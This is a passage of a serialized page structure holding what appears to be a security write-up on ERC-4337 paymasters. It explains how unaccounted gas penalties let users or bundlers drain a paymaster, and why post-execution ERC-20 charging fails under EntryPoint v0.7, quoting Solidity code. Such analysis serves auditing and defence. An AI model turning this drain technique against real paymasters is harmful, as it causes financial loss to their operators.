preCharge);\n",{"type":23,"tag":504,"props":106072,"children":106073},{"class":5016,"line":83092},[106074],{"type":23,"tag":504,"props":106075,"children":106076},{"style":5058},[106077],{"type":29,"value":60946},{"type":23,"tag":504,"props":106079,"children":106080},{"class":5016,"line":83100},[106081],{"type":23,"tag":504,"props":106082,"children":106083},{"emptyLinePlaceholder":15},[106084],{"type":29,"value":5734},{"type":23,"tag":504,"props":106086,"children":106087},{"class":5016,"line":90286},[106088,106092,106097,106101,106105],{"type":23,"tag":504,"props":106089,"children":106090},{"style":5067},[106091],{"type":29,"value":60862},{"type":23,"tag":504,"props":106093,"children":106094},{"style":5058},[106095],{"type":29,"value":106096}," (baseFee ",{"type":23,"tag":504,"props":106098,"children":106099},{"style":5047},[106100],{"type":29,"value":12508},{"type":23,"tag":504,"props":106102,"children":106103},{"style":5083},[106104],{"type":29,"value":5086},{"type":23,"tag":504,"props":106106,"children":106107},{"style":5058},[106108],{"type":29,"value":16850},{"type":23,"tag":504,"props":106110,"children":106111},{"class":5016,"line":90294},[106112,106116,106120],{"type":23,"tag":504,"props":106113,"children":106114},{"style":5058},[106115],{"type":29,"value":105966},{"type":23,"tag":504,"props":106117,"children":106118},{"style":5139},[106119],{"type":29,"value":105971},{"type":23,"tag":504,"props":106121,"children":106122},{"style":5058},[106123],{"type":29,"value":106124},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":23,"tag":504,"props":106126,"children":106127},{"class":5016,"line":103356},[106128],{"type":23,"tag":504,"props":106129,"children":106130},{"style":5058},[106131],{"type":29,"value":60946},{"type":23,"tag":504,"props":106133,"children":106134},{"class":5016,"line":103364},[106135],{"type":23,"tag":504,"props":106136,"children":106137},{"emptyLinePlaceholder":15},[106138],{"type":29,"value":5734},{"type":23,"tag":504,"props":106140,"children":106141},{"class":5016,"line":103372},[106142,106147,106152],{"type":23,"tag":504,"props":106143,"children":106144},{"style":5067},[106145],{"type":29,"value":106146},"            emit",{"type":23,"tag":504,"props":106148,"children":106149},{"style":5139},[106150],{"type":29,"value":106151}," UserOperationSponsored",{"type":23,"tag":504,"props":106153,"children":106154},{"style":5058},[106155],{"type":29,"value":106156},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":23,"tag":504,"props":106158,"children":106159},{"class":5016,"line":103380},[106160,106165],{"type":23,"tag":504,"props":106161,"children":106162},{"style":5139},[106163],{"type":29,"value":106164},"            refillEntryPointDeposit",{"type":23,"tag":504,"props":106166,"children":106167},{"style":5058},[106168],{"type":29,"value":106169},"(_cachedPrice);\n",{"type":23,"tag":504,"props":106171,"children":106172},{"class":5016,"line":103408},[106173],{"type":23,"tag":504,"props":106174,"children":106175},{"style":5058},[106176],{"type":29,"value":5394},{"type":23,"tag":504,"props":106178,"children":106180},{"class":5016,"line":106179},67,[106181],{"type":23,"tag":504,"props":106182,"children":106183},{"style":5058},[106184],{"type":29,"value":5403},{"type":23,"tag":504,"props":106186,"children":106188},{"class":5016,"line":106187},68,[106189],{"type":23,"tag":504,"props":106190,"children":106191},{"style":5058},[106192],{"type":29,"value":5965},{"type":23,"tag":32,"props":106194,"children":106195},{},[106196,106198,106204,106206,106211,106213,106219],{"type":29,"value":106197},"Looking at the code above, during ",{"type":23,"tag":154,"props":106199,"children":106201},{"className":106200},[],[106202],{"type":29,"value":106203},"validatePaymasterUserOp",{"type":29,"value":106205},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":23,"tag":154,"props":106207,"children":106209},{"className":106208},[],[106210],{"type":29,"value":104262},{"type":29,"value":106212}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":23,"tag":154,"props":106214,"children":106216},{"className":106215},[],[106217],{"type":29,"value":106218},"postOp",{"type":29,"value":106220},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":23,"tag":32,"props":106222,"children":106223},{},[106224,106226,106231,106233,106240],{"type":29,"value":106225},"However, there is a critical oversight: ",{"type":23,"tag":38,"props":106227,"children":106228},{},[106229],{"type":29,"value":106230},"the code does not account for gas penalties",{"type":29,"value":106232},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":23,"tag":68,"props":106234,"children":106237},{"href":106235,"rel":106236},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[72],[106238],{"type":29,"value":106239},"penalties incurred",{"type":29,"value":106241}," from differences between the execution gas limit and actual execution gas.",{"type":23,"tag":32,"props":106243,"children":106244},{},[106245],{"type":29,"value":106246},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":23,"tag":32,"props":106248,"children":106249},{},[106250,106252,106257],{"type":29,"value":106251},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":23,"tag":154,"props":106253,"children":106255},{"className":106254},[],[106256],{"type":29,"value":103961},{"type":29,"value":106258}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":23,"tag":24,"props":106260,"children":106262},{"id":106261},"incorrect-erc-20-handling",[106263],{"type":23,"tag":38,"props":106264,"children":106265},{},[106266],{"type":29,"value":106267},"Incorrect ERC-20 Handling",{"type":23,"tag":32,"props":106269,"children":106270},{},[106271],{"type":29,"value":106272},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":23,"tag":32,"props":106274,"children":106275},{},[106276,106277,106282,106284,106289],{"type":29,"value":47358},{"type":23,"tag":154,"props":106278,"children":106280},{"className":106279},[],[106281],{"type":29,"value":104042},{"type":29,"value":106283}," flow above, we can see that paymasters have two key interaction points during a ",{"type":23,"tag":154,"props":106285,"children":106287},{"className":106286},[],[106288],{"type":29,"value":103961},{"type":29,"value":106290},"'s lifecycle:",{"type":23,"tag":139,"props":106292,"children":106293},{},[106294,106304],{"type":23,"tag":143,"props":106295,"children":106296},{},[106297,106299],{"type":29,"value":106298},"During validation via ",{"type":23,"tag":154,"props":106300,"children":106302},{"className":106301},[],[106303],{"type":29,"value":104149},{"type":23,"tag":143,"props":106305,"children":106306},{},[106307,106309],{"type":29,"value":106308},"After execution via ",{"type":23,"tag":154,"props":106310,"children":106312},{"className":106311},[],[106313],{"type":29,"value":104160},{"type":23,"tag":32,"props":106315,"children":106316},{},[106317],{"type":29,"value":106318},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":23,"tag":320,"props":106320,"children":106322},{"id":106321},"_1-pre-payment-with-refund-pattern",[106323],{"type":29,"value":106324},"1. Pre-Payment with Refund Pattern",{"type":23,"tag":32,"props":106326,"children":106327},{},[106328,106330,106335,106337,106342,106344,106350,106351,106357,106359,106364,106366,106371,106373,106378],{"type":29,"value":106329},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":23,"tag":154,"props":106331,"children":106333},{"className":106332},[],[106334],{"type":29,"value":104149},{"type":29,"value":106336},". After execution completes, ",{"type":23,"tag":154,"props":106338,"children":106340},{"className":106339},[],[106341],{"type":29,"value":104160},{"type":29,"value":106343}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":23,"tag":154,"props":106345,"children":106347},{"className":106346},[],[106348],{"type":29,"value":106349},"SEND",{"type":29,"value":4478},{"type":23,"tag":154,"props":106352,"children":106354},{"className":106353},[],[106355],{"type":29,"value":106356},"Circle",{"type":29,"value":106358}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":23,"tag":154,"props":106360,"children":106362},{"className":106361},[],[106363],{"type":29,"value":103990},{"type":29,"value":106365},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":23,"tag":38,"props":106367,"children":106368},{},[106369],{"type":29,"value":106370},"before",{"type":29,"value":106372}," execution (specifically during ",{"type":23,"tag":154,"props":106374,"children":106376},{"className":106375},[],[106377],{"type":29,"value":106203},{"type":29,"value":161},{"type":23,"tag":320,"props":106380,"children":106382},{"id":106381},"_2-post-execution-charging-pattern",[106383],{"type":29,"value":106384},"2. Post-Execution Charging Pattern",{"type":23,"tag":32,"props":106386,"children":106387},{},[106388,106390,106395,106397,106402,106404,106409,106411,106416],{"type":29,"value":106389},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":23,"tag":154,"props":106391,"children":106393},{"className":106392},[],[106394],{"type":29,"value":104149},{"type":29,"value":106396},", the actual token payment is calculated and collected in ",{"type":23,"tag":154,"props":106398,"children":106400},{"className":106399},[],[106401],{"type":29,"value":104160},{"type":29,"value":106403}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":23,"tag":154,"props":106405,"children":106407},{"className":106406},[],[106408],{"type":29,"value":103961},{"type":29,"value":106410},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":23,"tag":154,"props":106412,"children":106414},{"className":106413},[],[106415],{"type":29,"value":104262},{"type":29,"value":106417},". This means users could interact with the paymaster without any prior setup.",{"type":23,"tag":32,"props":106419,"children":106420},{},[106421,106423,106428,106430,106436,106438,106444,106446,106451],{"type":29,"value":106422},"This approach used to work in ",{"type":23,"tag":154,"props":106424,"children":106426},{"className":106425},[],[106427],{"type":29,"value":104042},{"type":29,"value":106429}," version ",{"type":23,"tag":154,"props":106431,"children":106433},{"className":106432},[],[106434],{"type":29,"value":106435},"v0.6",{"type":29,"value":106437},", but the pattern no longer works in ",{"type":23,"tag":154,"props":106439,"children":106441},{"className":106440},[],[106442],{"type":29,"value":106443},"v0.7",{"type":29,"value":106445},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":23,"tag":154,"props":106447,"children":106449},{"className":106448},[],[106450],{"type":29,"value":106443},{"type":29,"value":106452}," handles the execution phase:",{"type":23,"tag":4743,"props":106454,"children":106456},{"className":6516,"code":106455,"language":6515,"meta":7,"style":7},"    function _executeUserOp(\n        uint256 opIndex,\n        PackedUserOperation calldata userOp,\n        UserOpInfo memory opInfo\n    )\n    internal virtual\n    returns (uint256 collected) {\n    [...]\n        bool success;\n        {\n    [...]\n            if (methodSig == IAccountExecute.executeUserOp.selector) {\n                bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n                innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n            } else\n            {\n                innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n            }\n            assembly (\"memory-safe\") {\n                success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n                collected := mload(0)\n            }\n            _restoreFreePtr(saveFreePtr);\n        }\n        if (!success) {\n    [...]\n            if (innerRevertCode == INNER_OUT_OF_GAS) {\n                // handleOps was called with gas limit too low. abort entire bundle.\n                // can only be caused by bundler (leaving not enough gas for inner call)\n                revert FailedOp(opIndex, \"AA95 out of gas\");\n            } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n                uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n                uint256 actualGasCost = opInfo.prefund;\n                _emitPrefundTooLow(opInfo);\n                _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n                collected = actualGasCost;\n            } else {\n    [...]\n                collected = _postExecution(\n                    IPaymaster.PostOpMode.postOpReverted,\n                    opInfo,\n                    context,\n                    actualGas\n                );\n            }\n        }\n    }\n",[106457],{"type":23,"tag":154,"props":106458,"children":106459},{"__ignoreMap":7},[106460,106476,106492,106512,106529,106536,106549,106573,106581,106594,106601,106608,106629,106668,106705,106717,106724,106760,106767,106788,106877,106906,106913,106926,106933,106953,106960,106981,106989,106997,107024,107052,107060,107103,107123,107136,107158,107174,107189,107196,107216,107224,107232,107240,107248,107256,107263,107270],{"type":23,"tag":504,"props":106461,"children":106462},{"class":5016,"line":5017},[106463,106467,106472],{"type":23,"tag":504,"props":106464,"children":106465},{"style":5030},[106466],{"type":29,"value":91893},{"type":23,"tag":504,"props":106468,"children":106469},{"style":5139},[106470],{"type":29,"value":106471}," _executeUserOp",{"type":23,"tag":504,"props":106473,"children":106474},{"style":5058},[106475],{"type":29,"value":5512},{"type":23,"tag":504,"props":106477,"children":106478},{"class":5016,"line":4868},[106479,106483,106488],{"type":23,"tag":504,"props":106480,"children":106481},{"style":5467},[106482],{"type":29,"value":92071},{"type":23,"tag":504,"props":106484,"children":106485},{"style":5041},[106486],{"type":29,"value":106487}," opIndex",{"type":23,"tag":504,"props":106489,"children":106490},{"style":5058},[106491],{"type":29,"value":5557},{"type":23,"tag":504,"props":106493,"children":106494},{"class":5016,"line":4876},[106495,106500,106504,106508],{"type":23,"tag":504,"props":106496,"children":106497},{"style":5030},[106498],{"type":29,"value":106499},"        PackedUserOperation",{"type":23,"tag":504,"props":106501,"children":106502},{"style":5030},[106503],{"type":29,"value":104791},{"type":23,"tag":504,"props":106505,"children":106506},{"style":5041},[106507],{"type":29,"value":104796},{"type":23,"tag":504,"props":106509,"children":106510},{"style":5058},[106511],{"type":29,"value":5557},{"type":23,"tag":504,"props":106513,"children":106514},{"class":5016,"line":5099},[106515,106520,106524],{"type":23,"tag":504,"props":106516,"children":106517},{"style":5030},[106518],{"type":29,"value":106519},"        UserOpInfo",{"type":23,"tag":504,"props":106521,"children":106522},{"style":5030},[106523],{"type":29,"value":104859},{"type":23,"tag":504,"props":106525,"children":106526},{"style":5041},[106527],{"type":29,"value":106528}," opInfo\n",{"type":23,"tag":504,"props":106530,"children":106531},{"class":5016,"line":5203},[106532],{"type":23,"tag":504,"props":106533,"children":106534},{"style":5058},[106535],{"type":29,"value":25971},{"type":23,"tag":504,"props":106537,"children":106538},{"class":5016,"line":5308},[106539,106544],{"type":23,"tag":504,"props":106540,"children":106541},{"style":5030},[106542],{"type":29,"value":106543},"    internal",{"type":23,"tag":504,"props":106545,"children":106546},{"style":5030},[106547],{"type":29,"value":106548}," virtual\n",{"type":23,"tag":504,"props":106550,"children":106551},{"class":5016,"line":5336},[106552,106556,106560,106564,106569],{"type":23,"tag":504,"props":106553,"children":106554},{"style":5067},[106555],{"type":29,"value":48571},{"type":23,"tag":504,"props":106557,"children":106558},{"style":5058},[106559],{"type":29,"value":5110},{"type":23,"tag":504,"props":106561,"children":106562},{"style":5467},[106563],{"type":29,"value":48230},{"type":23,"tag":504,"props":106565,"children":106566},{"style":5041},[106567],{"type":29,"value":106568}," collected",{"type":23,"tag":504,"props":106570,"children":106571},{"style":5058},[106572],{"type":29,"value":16850},{"type":23,"tag":504,"props":106574,"children":106575},{"class":5016,"line":5349},[106576],{"type":23,"tag":504,"props":106577,"children":106578},{"style":5058},[106579],{"type":29,"value":106580},"    [...]\n",{"type":23,"tag":504,"props":106582,"children":106583},{"class":5016,"line":5367},[106584,106589],{"type":23,"tag":504,"props":106585,"children":106586},{"style":5467},[106587],{"type":29,"value":106588},"        bool",{"type":23,"tag":504,"props":106590,"children":106591},{"style":5058},[106592],{"type":29,"value":106593}," success;\n",{"type":23,"tag":504,"props":106595,"children":106596},{"class":5016,"line":5388},[106597],{"type":23,"tag":504,"props":106598,"children":106599},{"style":5058},[106600],{"type":29,"value":33714},{"type":23,"tag":504,"props":106602,"children":106603},{"class":5016,"line":5397},[106604],{"type":23,"tag":504,"props":106605,"children":106606},{"style":5058},[106607],{"type":29,"value":106580},{"type":23,"tag":504,"props":106609,"children":106610},{"class":5016,"line":5649},[106611,106615,106620,106624],{"type":23,"tag":504,"props":106612,"children":106613},{"style":5067},[106614],{"type":29,"value":60862},{"type":23,"tag":504,"props":106616,"children":106617},{"style":5058},[106618],{"type":29,"value":106619}," (methodSig ",{"type":23,"tag":504,"props":106621,"children":106622},{"style":5047},[106623],{"type":29,"value":1224},{"type":23,"tag":504,"props":106625,"children":106626},{"style":5058},[106627],{"type":29,"value":106628}," IAccountExecute.executeUserOp.selector) {\n",{"type":23,"tag":504,"props":106630,"children":106631},{"class":5016,"line":5666},[106632,106637,106641,106646,106650,106654,106658,106663],{"type":23,"tag":504,"props":106633,"children":106634},{"style":5467},[106635],{"type":29,"value":106636},"                bytes",{"type":23,"tag":504,"props":106638,"children":106639},{"style":5030},[106640],{"type":29,"value":104859},{"type":23,"tag":504,"props":106642,"children":106643},{"style":5058},[106644],{"type":29,"value":106645}," executeUserOp ",{"type":23,"tag":504,"props":106647,"children":106648},{"style":5047},[106649],{"type":29,"value":546},{"type":23,"tag":504,"props":106651,"children":106652},{"style":5030},[106653],{"type":29,"value":105456},{"type":23,"tag":504,"props":106655,"children":106656},{"style":5058},[106657],{"type":29,"value":357},{"type":23,"tag":504,"props":106659,"children":106660},{"style":5139},[106661],{"type":29,"value":106662},"encodeCall",{"type":23,"tag":504,"props":106664,"children":106665},{"style":5058},[106666],{"type":29,"value":106667},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":23,"tag":504,"props":106669,"children":106670},{"class":5016,"line":5683},[106671,106676,106680,106684,106688,106692,106696,106700],{"type":23,"tag":504,"props":106672,"children":106673},{"style":5058},[106674],{"type":29,"value":106675},"                innerCall ",{"type":23,"tag":504,"props":106677,"children":106678},{"style":5047},[106679],{"type":29,"value":546},{"type":23,"tag":504,"props":106681,"children":106682},{"style":5030},[106683],{"type":29,"value":105456},{"type":23,"tag":504,"props":106685,"children":106686},{"style":5058},[106687],{"type":29,"value":357},{"type":23,"tag":504,"props":106689,"children":106690},{"style":5139},[106691],{"type":29,"value":106662},{"type":23,"tag":504,"props":106693,"children":106694},{"style":5058},[106695],{"type":29,"value":603},{"type":23,"tag":504,"props":106697,"children":106698},{"style":5030},[106699],{"type":29,"value":19742},{"type":23,"tag":504,"props":106701,"children":106702},{"style":5058},[106703],{"type":29,"value":106704},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":23,"tag":504,"props":106706,"children":106707},{"class":5016,"line":5696},[106708,106712],{"type":23,"tag":504,"props":106709,"children":106710},{"style":5058},[106711],{"type":29,"value":72657},{"type":23,"tag":504,"props":106713,"children":106714},{"style":5067},[106715],{"type":29,"value":106716},"else\n",{"type":23,"tag":504,"props":106718,"children":106719},{"class":5016,"line":5705},[106720],{"type":23,"tag":504,"props":106721,"children":106722},{"style":5058},[106723],{"type":29,"value":33750},{"type":23,"tag":504,"props":106725,"children":106726},{"class":5016,"line":5728},[106727,106731,106735,106739,106743,106747,106751,106755],{"type":23,"tag":504,"props":106728,"children":106729},{"style":5058},[106730],{"type":29,"value":106675},{"type":23,"tag":504,"props":106732,"children":106733},{"style":5047},[106734],{"type":29,"value":546},{"type":23,"tag":504,"props":106736,"children":106737},{"style":5030},[106738],{"type":29,"value":105456},{"type":23,"tag":504,"props":106740,"children":106741},{"style":5058},[106742],{"type":29,"value":357},{"type":23,"tag":504,"props":106744,"children":106745},{"style":5139},[106746],{"type":29,"value":106662},{"type":23,"tag":504,"props":106748,"children":106749},{"style":5058},[106750],{"type":29,"value":603},{"type":23,"tag":504,"props":106752,"children":106753},{"style":5030},[106754],{"type":29,"value":19742},{"type":23,"tag":504,"props":106756,"children":106757},{"style":5058},[106758],{"type":29,"value":106759},".innerHandleOp, (callData, opInfo, context));\n",{"type":23,"tag":504,"props":106761,"children":106762},{"class":5016,"line":5737},[106763],{"type":23,"tag":504,"props":106764,"children":106765},{"style":5058},[106766],{"type":29,"value":60946},{"type":23,"tag":504,"props":106768,"children":106769},{"class":5016,"line":5746},[106770,106775,106779,106784],{"type":23,"tag":504,"props":106771,"children":106772},{"style":5139},[106773],{"type":29,"value":106774},"            assembly",{"type":23,"tag":504,"props":106776,"children":106777},{"style":5058},[106778],{"type":29,"value":5110},{"type":23,"tag":504,"props":106780,"children":106781},{"style":6297},[106782],{"type":29,"value":106783},"\"memory-safe\"",{"type":23,"tag":504,"props":106785,"children":106786},{"style":5058},[106787],{"type":29,"value":16850},{"type":23,"tag":504,"props":106789,"children":106790},{"class":5016,"line":5813},[106791,106796,106800,106804,106808,106813,106817,106821,106825,106829,106833,106837,106842,106847,106851,106856,106861,106865,106869,106873],{"type":23,"tag":504,"props":106792,"children":106793},{"style":5058},[106794],{"type":29,"value":106795},"                success ",{"type":23,"tag":504,"props":106797,"children":106798},{"style":5047},[106799],{"type":29,"value":23656},{"type":23,"tag":504,"props":106801,"children":106802},{"style":5139},[106803],{"type":29,"value":43020},{"type":23,"tag":504,"props":106805,"children":106806},{"style":5058},[106807],{"type":29,"value":603},{"type":23,"tag":504,"props":106809,"children":106810},{"style":5139},[106811],{"type":29,"value":106812},"gas",{"type":23,"tag":504,"props":106814,"children":106815},{"style":5058},[106816],{"type":29,"value":20425},{"type":23,"tag":504,"props":106818,"children":106819},{"style":5467},[106820],{"type":29,"value":34696},{"type":23,"tag":504,"props":106822,"children":106823},{"style":5058},[106824],{"type":29,"value":20425},{"type":23,"tag":504,"props":106826,"children":106827},{"style":5083},[106828],{"type":29,"value":708},{"type":23,"tag":504,"props":106830,"children":106831},{"style":5058},[106832],{"type":29,"value":4367},{"type":23,"tag":504,"props":106834,"children":106835},{"style":5139},[106836],{"type":29,"value":11684},{"type":23,"tag":504,"props":106838,"children":106839},{"style":5058},[106840],{"type":29,"value":106841},"(innerCall, ",{"type":23,"tag":504,"props":106843,"children":106844},{"style":5083},[106845],{"type":29,"value":106846},"0x20",{"type":23,"tag":504,"props":106848,"children":106849},{"style":5058},[106850],{"type":29,"value":17224},{"type":23,"tag":504,"props":106852,"children":106853},{"style":5139},[106854],{"type":29,"value":106855},"mload",{"type":23,"tag":504,"props":106857,"children":106858},{"style":5058},[106859],{"type":29,"value":106860},"(innerCall), ",{"type":23,"tag":504,"props":106862,"children":106863},{"style":5083},[106864],{"type":29,"value":708},{"type":23,"tag":504,"props":106866,"children":106867},{"style":5058},[106868],{"type":29,"value":4367},{"type":23,"tag":504,"props":106870,"children":106871},{"style":5083},[106872],{"type":29,"value":62408},{"type":23,"tag":504,"props":106874,"children":106875},{"style":5058},[106876],{"type":29,"value":5200},{"type":23,"tag":504,"props":106878,"children":106879},{"class":5016,"line":5821},[106880,106885,106889,106894,106898,106902],{"type":23,"tag":504,"props":106881,"children":106882},{"style":5058},[106883],{"type":29,"value":106884},"                collected ",{"type":23,"tag":504,"props":106886,"children":106887},{"style":5047},[106888],{"type":29,"value":23656},{"type":23,"tag":504,"props":106890,"children":106891},{"style":5139},[106892],{"type":29,"value":106893}," mload",{"type":23,"tag":504,"props":106895,"children":106896},{"style":5058},[106897],{"type":29,"value":603},{"type":23,"tag":504,"props":106899,"children":106900},{"style":5083},[106901],{"type":29,"value":708},{"type":23,"tag":504,"props":106903,"children":106904},{"style":5058},[106905],{"type":29,"value":5200},{"type":23,"tag":504,"props":106907,"children":106908},{"class":5016,"line":5851},[106909],{"type":23,"tag":504,"props":106910,"children":106911},{"style":5058},[106912],{"type":29,"value":60946},{"type":23,"tag":504,"props":106914,"children":106915},{"class":5016,"line":5859},[106916,106921],{"type":23,"tag":504,"props":106917,"children":106918},{"style":5139},[106919],{"type":29,"value":106920},"            _restoreFreePtr",{"type":23,"tag":504,"props":106922,"children":106923},{"style":5058},[106924],{"type":29,"value":106925},"(saveFreePtr);\n",{"type":23,"tag":504,"props":106927,"children":106928},{"class":5016,"line":5891},[106929],{"type":23,"tag":504,"props":106930,"children":106931},{"style":5058},[106932],{"type":29,"value":5394},{"type":23,"tag":504,"props":106934,"children":106935},{"class":5016,"line":5899},[106936,106940,106944,106948],{"type":23,"tag":504,"props":106937,"children":106938},{"style":5067},[106939],{"type":29,"value":5314},{"type":23,"tag":504,"props":106941,"children":106942},{"style":5058},[106943],{"type":29,"value":5110},{"type":23,"tag":504,"props":106945,"children":106946},{"style":5047},[106947],{"type":29,"value":22674},{"type":23,"tag":504,"props":106949,"children":106950},{"style":5058},[106951],{"type":29,"value":106952},"success) {\n",{"type":23,"tag":504,"props":106954,"children":106955},{"class":5016,"line":5959},[106956],{"type":23,"tag":504,"props":106957,"children":106958},{"style":5058},[106959],{"type":29,"value":106580},{"type":23,"tag":504,"props":106961,"children":106962},{"class":5016,"line":11093},[106963,106967,106972,106976],{"type":23,"tag":504,"props":106964,"children":106965},{"style":5067},[106966],{"type":29,"value":60862},{"type":23,"tag":504,"props":106968,"children":106969},{"style":5058},[106970],{"type":29,"value":106971}," (innerRevertCode ",{"type":23,"tag":504,"props":106973,"children":106974},{"style":5047},[106975],{"type":29,"value":1224},{"type":23,"tag":504,"props":106977,"children":106978},{"style":5058},[106979],{"type":29,"value":106980}," INNER_OUT_OF_GAS) {\n",{"type":23,"tag":504,"props":106982,"children":106983},{"class":5016,"line":11111},[106984],{"type":23,"tag":504,"props":106985,"children":106986},{"style":5021},[106987],{"type":29,"value":106988},"                // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":23,"tag":504,"props":106990,"children":106991},{"class":5016,"line":11156},[106992],{"type":23,"tag":504,"props":106993,"children":106994},{"style":5021},[106995],{"type":29,"value":106996},"                // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":23,"tag":504,"props":106998,"children":106999},{"class":5016,"line":11262},[107000,107005,107010,107015,107020],{"type":23,"tag":504,"props":107001,"children":107002},{"style":5067},[107003],{"type":29,"value":107004},"                revert",{"type":23,"tag":504,"props":107006,"children":107007},{"style":5139},[107008],{"type":29,"value":107009}," FailedOp",{"type":23,"tag":504,"props":107011,"children":107012},{"style":5058},[107013],{"type":29,"value":107014},"(opIndex, ",{"type":23,"tag":504,"props":107016,"children":107017},{"style":6297},[107018],{"type":29,"value":107019},"\"AA95 out of gas\"",{"type":23,"tag":504,"props":107021,"children":107022},{"style":5058},[107023],{"type":29,"value":5888},{"type":23,"tag":504,"props":107025,"children":107026},{"class":5016,"line":25550},[107027,107031,107035,107039,107043,107047],{"type":23,"tag":504,"props":107028,"children":107029},{"style":5058},[107030],{"type":29,"value":72657},{"type":23,"tag":504,"props":107032,"children":107033},{"style":5067},[107034],{"type":29,"value":5360},{"type":23,"tag":504,"props":107036,"children":107037},{"style":5067},[107038],{"type":29,"value":17835},{"type":23,"tag":504,"props":107040,"children":107041},{"style":5058},[107042],{"type":29,"value":106971},{"type":23,"tag":504,"props":107044,"children":107045},{"style":5047},[107046],{"type":29,"value":1224},{"type":23,"tag":504,"props":107048,"children":107049},{"style":5058},[107050],{"type":29,"value":107051}," INNER_REVERT_LOW_PREFUND) {\n",{"type":23,"tag":504,"props":107053,"children":107054},{"class":5016,"line":25585},[107055],{"type":23,"tag":504,"props":107056,"children":107057},{"style":5021},[107058],{"type":29,"value":107059},"                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":23,"tag":504,"props":107061,"children":107062},{"class":5016,"line":25593},[107063,107067,107072,107076,107081,107085,107090,107094,107098],{"type":23,"tag":504,"props":107064,"children":107065},{"style":5467},[107066],{"type":29,"value":105239},{"type":23,"tag":504,"props":107068,"children":107069},{"style":5058},[107070],{"type":29,"value":107071}," actualGas ",{"type":23,"tag":504,"props":107073,"children":107074},{"style":5047},[107075],{"type":29,"value":546},{"type":23,"tag":504,"props":107077,"children":107078},{"style":5058},[107079],{"type":29,"value":107080}," preGas ",{"type":23,"tag":504,"props":107082,"children":107083},{"style":5047},[107084],{"type":29,"value":6368},{"type":23,"tag":504,"props":107086,"children":107087},{"style":5030},[107088],{"type":29,"value":107089}," gasleft",{"type":23,"tag":504,"props":107091,"children":107092},{"style":5058},[107093],{"type":29,"value":16089},{"type":23,"tag":504,"props":107095,"children":107096},{"style":5047},[107097],{"type":29,"value":6422},{"type":23,"tag":504,"props":107099,"children":107100},{"style":5058},[107101],{"type":29,"value":107102}," opInfo.preOpGas;\n",{"type":23,"tag":504,"props":107104,"children":107105},{"class":5016,"line":25601},[107106,107110,107114,107118],{"type":23,"tag":504,"props":107107,"children":107108},{"style":5467},[107109],{"type":29,"value":105239},{"type":23,"tag":504,"props":107111,"children":107112},{"style":5058},[107113],{"type":29,"value":105886},{"type":23,"tag":504,"props":107115,"children":107116},{"style":5047},[107117],{"type":29,"value":546},{"type":23,"tag":504,"props":107119,"children":107120},{"style":5058},[107121],{"type":29,"value":107122}," opInfo.prefund;\n",{"type":23,"tag":504,"props":107124,"children":107125},{"class":5016,"line":25610},[107126,107131],{"type":23,"tag":504,"props":107127,"children":107128},{"style":5139},[107129],{"type":29,"value":107130},"                _emitPrefundTooLow",{"type":23,"tag":504,"props":107132,"children":107133},{"style":5058},[107134],{"type":29,"value":107135},"(opInfo);\n",{"type":23,"tag":504,"props":107137,"children":107138},{"class":5016,"line":25652},[107139,107144,107149,107153],{"type":23,"tag":504,"props":107140,"children":107141},{"style":5139},[107142],{"type":29,"value":107143},"                _emitUserOperationEvent",{"type":23,"tag":504,"props":107145,"children":107146},{"style":5058},[107147],{"type":29,"value":107148},"(opInfo, ",{"type":23,"tag":504,"props":107150,"children":107151},{"style":5030},[107152],{"type":29,"value":10220},{"type":23,"tag":504,"props":107154,"children":107155},{"style":5058},[107156],{"type":29,"value":107157},", actualGasCost, 